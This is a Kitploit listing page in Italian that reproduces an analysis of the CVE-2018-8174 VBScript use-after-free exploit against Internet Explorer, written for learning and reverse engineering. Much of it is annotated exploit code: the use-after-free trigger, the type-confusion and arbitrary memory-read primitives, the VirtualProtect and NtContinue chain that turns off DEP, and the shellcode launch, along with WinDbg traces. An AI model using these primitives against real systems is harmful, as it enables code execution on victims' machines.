Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2018-8174_analysis — Analisi dell'exploit VBS CVE-2018-8174 | Kitploit
Strumenti/GitHubGitHub/piotrflorczyk/cve-2018-8174_analysis
Memory ForensicsAnalisi delle VulnerabilitàExploitReverse EngineeringApprendimento e FormazioneBinary Exploitation
GitHubpiotrflorczyk/cve-2018-8174_analysis

cve-2018-8174_analysis

Analisi dell'exploit VBS CVE-2018-8174

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
30148 anni faRevisionato da Kitploit

Dissezionare un exploit moderno per browser: caso di studio di CVE-2018-8174

Panoramica

Quando questo exploit è emerso per la prima volta tra aprile e maggio, ha suscitato il mio interesse, poiché nonostante la forte offuscazione, la struttura del codice sembrava ben organizzata e il codice di sfruttamento della vulnerabilità era abbastanza piccolo da rendere l'analisi più semplice. Ho scaricato il POC da github e ho deciso che sarebbe stato un buon candidato per dare un'occhiata sotto il cofano. All'epoca erano già state pubblicate due analisi, la prima di 360 e la seconda di Kaspersky. Entrambe mi hanno aiutato a capire come funzionava, ma non sono state sufficienti per comprendere a fondo ogni aspetto dell'exploit. Ecco perché ho deciso di analizzarlo per conto mio e condividere le mie scoperte.

Pre-elaborazione

Per prima cosa, per rimuovere l'offuscamento degli interi, ho usato la sostituzione regex in uno script Python:

root@kitploit:~
import re
def process(matchobj):
	line = matchobj.group(1)
	line = line.lower().replace('&h', '0x')
	return str(eval(line))			# extremly safe :) 

data = open('analysis.vbs', 'r').read()	
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)

Per quanto riguarda i nomi offuscati, li ho rinominati progressivamente durante l'analisi. Questa analisi è meglio leggerla con il codice sorgente, il cui link è alla fine.

Use after free

La vulnerabilità si verifica quando un oggetto viene terminato e viene chiamata la funzione definita dall'utente Class_Terminate(). In questa funzione, il riferimento all'oggetto in fase di rilascio viene salvato in UafArray. D'ora in poi UafArray(i) fa riferimento all'oggetto eliminato.

root@kitploit:~
Class ClassTerminateA
Private Sub Class_Terminate()
	Set UafArrayA(UafCounter)=FreedObjectArray(1)
	UafCounter=UafCounter+1
	FreedObjectArray(1)=1	' fix ref counter
End Sub
End Class
...
UafCounter=0	
For idx=0 To 6
	ReDim FreedObjectArray(1)
	Set FreedObjectArray(1)=New ClassTerminateA
	Erase FreedObjectArray
Next

Notate anche l'ultima riga in Class_Terminate(). Quando copiamo l'oggetto ClassTerminate in UafArray, il suo contatore di riferimenti viene incrementato. Per bilanciarlo, lo liberiamo di nuovo assegnando un altro valore a FreedObjectArray. Senza questo, la memoria dell'oggetto non verrebbe liberata nonostante la chiamata di Class_Terminate su di esso e l'oggetto successivo non verrebbe allocato al suo posto.

VBScriptClass::Release method

La creazione e l'eliminazione di nuovi oggetti viene ripetuta 7 volte in un ciclo; dopo di che viene creato un nuovo oggetto della classe ReuseClass. Viene allocato nella stessa memoria che era stata precedentemente occupata dalle 7 istanze di ClassTerminate.

Per capire meglio, ecco un semplice script WinDbg che traccia tutte queste allocazioni:

root@kitploit:~
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

Ecco il log di allocazione dalla funzione UafTrigger:

root@kitploit:~
Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600

Possiamo vedere immediatamente che ReuseClass è effettivamente allocata nella stessa memoria che era stata assegnata alle 7 istanze precedenti di ClassTerminate. Questa operazione viene ripetuta due volte. Alla fine abbiamo due oggetti referenziati da UafArrays. Nessuno di questi riferimenti è riflesso nel contatore di riferimenti dell'oggetto. In questo log possiamo anche notare che anche dopo la chiamata di Class_Terminate ci sono alcune manipolazioni dell'oggetto che ne cambiano il contatore di riferimenti. Ecco perché se non bilanciassimo questo contatore in Class_Terminate otterremmo qualcosa del genere:

root@kitploit:~
Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740

Indirizzi di allocazione diversi. L'exploit non riuscirebbe a creare la condizione di use after free.

Confusione di tipo

Avendo creato questi due oggetti con 7 riferimenti non contati ciascuno, abbiamo stabilito una primitiva di lettura arbitraria della memoria. Ci sono due classi simili, ReuseClass e FakeReuseClass. Sostituendo la prima classe con la seconda si verifica una confusione di tipo sul membro mem.

root@kitploit:~
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value				' will actually call Default Poperty Get
	SetProp=0
End Function
End Class

Class FakeReuseClass
Dim mem
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class

Nella funzione SetProp viene salvato ReuseClass.mem e viene chiamato il Default Property Get della classe ReplacingClass_*; il risultato di tale chiamata verrà inserito in ReuseClass.mem.

root@kitploit:~
Public Default Property Get Q
	Dim objectImitatingArray
	Q=CDbl("174088534690791e-324")		'hex value: db 0, 0, 0, 0, 0Ch, 20h, 0, 0
	For idx=0 To 6
		UafArrayA(idx)=0
	Next
	Set objectImitatingArray=New FakeReuseClass
	objectImitatingArray.mem = FakeArrayString
	For idx=0 To 6
		Set UafArrayA(idx)=objectImitatingArray
	Next
End Property

All'interno di quel getter, UafArray viene svuotato assegnando 0 a ogni elemento. Questo fa sì che VBScriptClass::Release venga chiamato sull'oggetto ReuseClass referenziato da UafArray. Si scopre che in questa fase dell'esecuzione l'oggetto ReuseClass ha un contatore di riferimenti pari a 7 e, poiché chiamiamo Release 7 volte, questo oggetto viene liberato. E poiché quei riferimenti derivavano dalla situazione di use after free, non sono conteggiati nel contatore di riferimenti.

Al posto di ReuseClass viene allocato un nuovo oggetto di FakeReuseClass. Ora, per portare il suo contatore di riferimenti a 7, come nel caso di ReuseClass, lo assegniamo 7 volte a UafArray.

Ecco il layout di memoria prima e dopo questa operazione.

Sostituzione di ReuseClass con FakeReuseClass

Diagramma per oggetti VBScript

Dopo che questo è stato fatto, la funzione getter restituirà un valore che verrà assegnato alla vecchia variabile ReuseClass::mem. Come si può vedere dai dump di memoria, il vecchio valore è stato posizionato 0xC byte prima del nuovo. Gli oggetti sono stati appositamente costruiti per causare questa situazione, ad esempio selezionando la giusta lunghezza per i nomi delle funzioni. Ora il valore scritto in ReuseClass::mem sovrascriverà l'header di FakeReuseClass::mem, causando una situazione di confusione di tipo.

Confusione di tipo sul membro mem

root@kitploit:~
FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") 'SAFEARRAY structure as string
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") 'String with nulls, used as memory to write to

objectImitatingArray.mem = FakeArrayString

L'ultima riga ha assegnato la stringa FakeArrayString a objectImitatingArray.mem. Ora l'header ha il valore di VT_BSTR.

root@kitploit:~
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0

Questo valore ha sovrascritto il tipo di objectImitatingArray.mem in VT_ARRAY | VT_VARIANT e ora il puntatore alla stringa verrà interpretato come puntatore alla struttura SAFEARRAY.

Lettura arbitraria della memoria

Il risultato è che ci ritroviamo con due oggetti di FakeReuseClass. Uno di essi ha un membro mem di tipo array che indirizza l'intero spazio utente (0x00000000 - 0x7fffffff), mentre l'altro ha un membro di tipo VT_I4 (intero a 4 byte) con un puntatore a una stringa vuota di 16 byte. Usando il secondo oggetto, viene divulgato un puntatore alla stringa:

root@kitploit:~
some_memory=resueObjectB_int.mem

Verrà successivamente usato come indirizzo in memoria scrivibile.

Il passo successivo è divulgare un qualsiasi indirizzo all'interno di vbscript.dll. Qui viene usato un trucco molto elegante.

root@kitploit:~
Function LeakVBAddr
	On Error Resume Next
	Dim emptySub_addr_placeholder
	emptySub_addr_placeholder=EmptySub
	emptySub_addr_placeholder=null
	SetVarData emptySub_addr_placeholder
	LeakVBAddr=ReadRawPointer()
End Function

Prima definiamo che in caso di errore, lo script debba semplicemente continuare l'esecuzione regolare. Poi viene tentato di assegnare EmptySub a una variabile. Questo non è possibile in VBS, ma un valore viene comunque inserito nello stack prima che l'errore venga generato. L'istruzione successiva assegna null a una variabile, cosa che fa semplicemente cambiando il tipo dell'ultimo valore nello stack in VT_NULL. Ora emptySub_addr_placeholder contiene il puntatore alla funzione ma con il tipo impostato a VT_NULL.

root@kitploit:~
Function ReadRawPointer
	resueObjectA_arr.mem(some_memory)=3						' set var type to type vbLong 
	ReadRawPointer=resueObjectA_arr.mem(some_memory+8)		' read data as vbLong
End Function
Sub SetVarData(ByRef ref)
	resueObjectA_arr.mem(some_memory+8)=ref				' set data
End Sub

Poi questo valore viene scritto nella nostra memoria scrivibile, il suo tipo viene cambiato in VT_I4 e viene letto come intero. Se controlliamo il contenuto di questo valore, risulta essere un puntatore a CScriptEntryPoint e il primo membro è vftable che punta all'interno di vbscript.dll.

Divulgazione dell'indirizzo di vbscript.dll

Per leggere un valore da un indirizzo arbitrario, in questo caso il puntatore restituito da LeakVBAddr, vengono usate le seguenti funzioni:

root@kitploit:~
Function GetUint32(addr)
	Dim value
	resueObjectA_arr.mem(some_memory+8)=addr+4		' set value as BSTR ptr + 4 (BSTR obj: [len][addr+4], LenB will read from [len] == [addr]
	resueObjectA_arr.mem(some_memory)=8				' set type to VT_BSTR
	value=resueObjectA_arr.ReadBstrValll
	resueObjectA_arr.mem(some_memory)=2				' set type to original VT_I2
	GetUint32=value
End Function
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function

La lettura è ottenuta scrivendo prima address+4 in una memoria scrivibile, poi il tipo viene cambiato in VT_BSTR. Ora address+4 viene trattato come un puntatore a BSTR. Se chiamiamo LenB su address+4 restituirà il valore puntato da address. Perché? Per come è definito BSTR, il valore Unicode è preceduto dalla sua lunghezza, e tale lunghezza viene restituita da LenB.

Implementazione di LenB

Ora che l'indirizzo all'interno di vbscript.dll è stato divulgato e avendo stabilito una lettura arbitraria della memoria, è solo questione di attraversare correttamente l'header PE per ottenere tutti gli indirizzi necessari.

root@kitploit:~
vbscript=FindMzBase(GetUint32(ptr_toCScriptEntryPointVTble))
msvcrt=GetDllBaseFromExport(vbscript,"msvcrt.dll")
kernelbase=GetDllBaseFromExport(msvcrt,"kernelbase.dll")
ntdll=GetDllBaseFromExport(msvcrt,"ntdll.dll")
VirtualProtect=GetProcAddr(kernelbase,"VirtualProtect")
NtContinue=GetProcAddr(ntdll,"NtContinue")

I dettagli su come farlo non verranno spiegati qui. Questo articolo spiega il file PE in grande dettaglio.

Innesco dell'esecuzione del codice

L'esecuzione finale del codice è ottenuta in due passaggi. Prima viene costruita una catena di due chiamate, ma non è una catena ROP. A NtContinue viene fornita una struttura CONTEXT che imposta EIP all'indirizzo di VirtualProtect ed ESP alla struttura contenente i parametri di VirtualProtect.

root@kitploit:~
Function VirtualProtectCallParameters(shellcodePtr)
	Dim result
	result = String(10000,Unescape("%u4141"))    		' 'A' * 0x10fdc - padding, this space will be used as stack
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - address to return to after VirtualProtect
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - lpAddress	(1st param for VirtualProtect)
	result = result & UnescapeValue(12288)			' 0x3000 - size (2nd param for VirtualProtect)
	result = result & UnescapeValue(64)			' 0x40 	- newProtect (3rd param for VirtualProtect) 
	result = result & UnescapeValue(shellcodePtr-8)		' &(shellcode-8) - lpOldProtect (4th param for VirtualProtect)
	result = result & String(6,Unescape("%u4242"))		' 'B' * 12	- padding and allignment
	result = result & StructWithNtContinueAddr()		' \x00 * 3  NtContinue * 4 \x00
	result = result & String((524288-LenB(result))/2,Unescape("%u4141"))' 'A' * (0x80000 - current_size) - padding
	VirtualProtectCallParameters = result
End Function

Function StructForNtContinue(structForVirtualProtect)
	Dim result
	Dim ntContinuePtr
	ntContinuePtr = structForVirtualProtect + 35
	result = ""
	result = result & UnescapeValue(ntContinuePtr)
	result = result & String((184-LenB(result))/2,Unescape("%u4141")) ' 'A' * 0xb8  - initalize _CONTEXT with 'A'
	result = result & UnescapeValue(VirtualProtect)		' VirtualProtect - _EIP in _CONTEXT struct
	result = result & UnescapeValue(27)			' 0x1b - CsSeg in _CONTEXT struct
	result = result & UnescapeValue(0)			' 0x00 - EFLAGS in _CONTEXT struct
	result = result & UnescapeValue(structForVirtualProtect) ' structForVirtualProtect - _ESP in _CONTEXT struct
	result = result & UnescapeValue(35)			' 0x23 - SsSeg in _CONTEXT struct
	result = result & String((1024-LenB(result))/2,Unescape("%u4343")) ' 'A' * (0x400 - current_size) - padding
	StructForNtContinue = result
End Function

SetVarData GetShellcode()
shellcodePtr = ReadRawPointer() + 8
SetVarData VirtualProtectCallParameters(shellcodePtr)
structForVirtualProtect = ReadRawPointer() + 20000
SetVarData StructForNtContinue(structForVirtualProtect)

Il primo indirizzo dello shellcode viene ottenuto usando la tecnica precedentemente descritta di cambiare il tipo della variabile in VT_I4 e leggere il puntatore. Successivamente viene costruita una struttura per VirtualProtect, che contiene tutti i parametri necessari, come l'indirizzo dello shellcode, la dimensione e le protezioni RWX. Ha anche spazio che verrà usato dalle operazioni di stack all'interno di VirtualProtect. Dopo di che viene costruita una struttura CONTEXT, con EIP impostato a VirtualProtect ed ESP ai suoi parametri. Questa struttura ha anche come primo valore un puntatore all'indirizzo di NtContinue ripetuto 4 volte. Il passo finale prima di avviare questa catena è salvare la struttura come stringa in memoria.

root@kitploit:~
Sub TriggerCodeExecution
	resueObjectA_arr.mem(some_memory)=&h4d
	resueObjectA_arr.mem(some_memory+8)=0
End Sub

Questa funzione viene poi usata per avviare la catena. Prima cambia il tipo della struttura salvata in 0x4D e poi imposta il suo valore a 0, questo causa la chiamata di VAR::Clear.

Esecuzione di codice

E una vista dinamica dal debugger

Esecuzione di codice

Anche se può sembrare complicata, questa catena di esecuzione è molto semplice. Solo due passaggi. Invoca NtContinue con la struttura CONTEXT che punta a VirtualProtect. Poi VirtualProtect disabiliterà il DEP sulla pagina di memoria che contiene lo shellcode e dopo di che tornerà allo shellcode.

Conclusione

CVE-2018-8174 è un buon esempio di concatenamento di alcune condizioni di use after free e type confusion per ottenere l'esecuzione di codice in un modo molto ingegnoso. È un grande esempio da cui imparare e comprendere il funzionamento interno di tali exploit.

Link utili

Codice dell'exploit commentato

Analisi della causa radice di Kaspersky

Analisi di 360

Un'altra analisi di Kaspersky

Analisi di CVE-2014-6332 di Trend Micro

Scarica lo strumento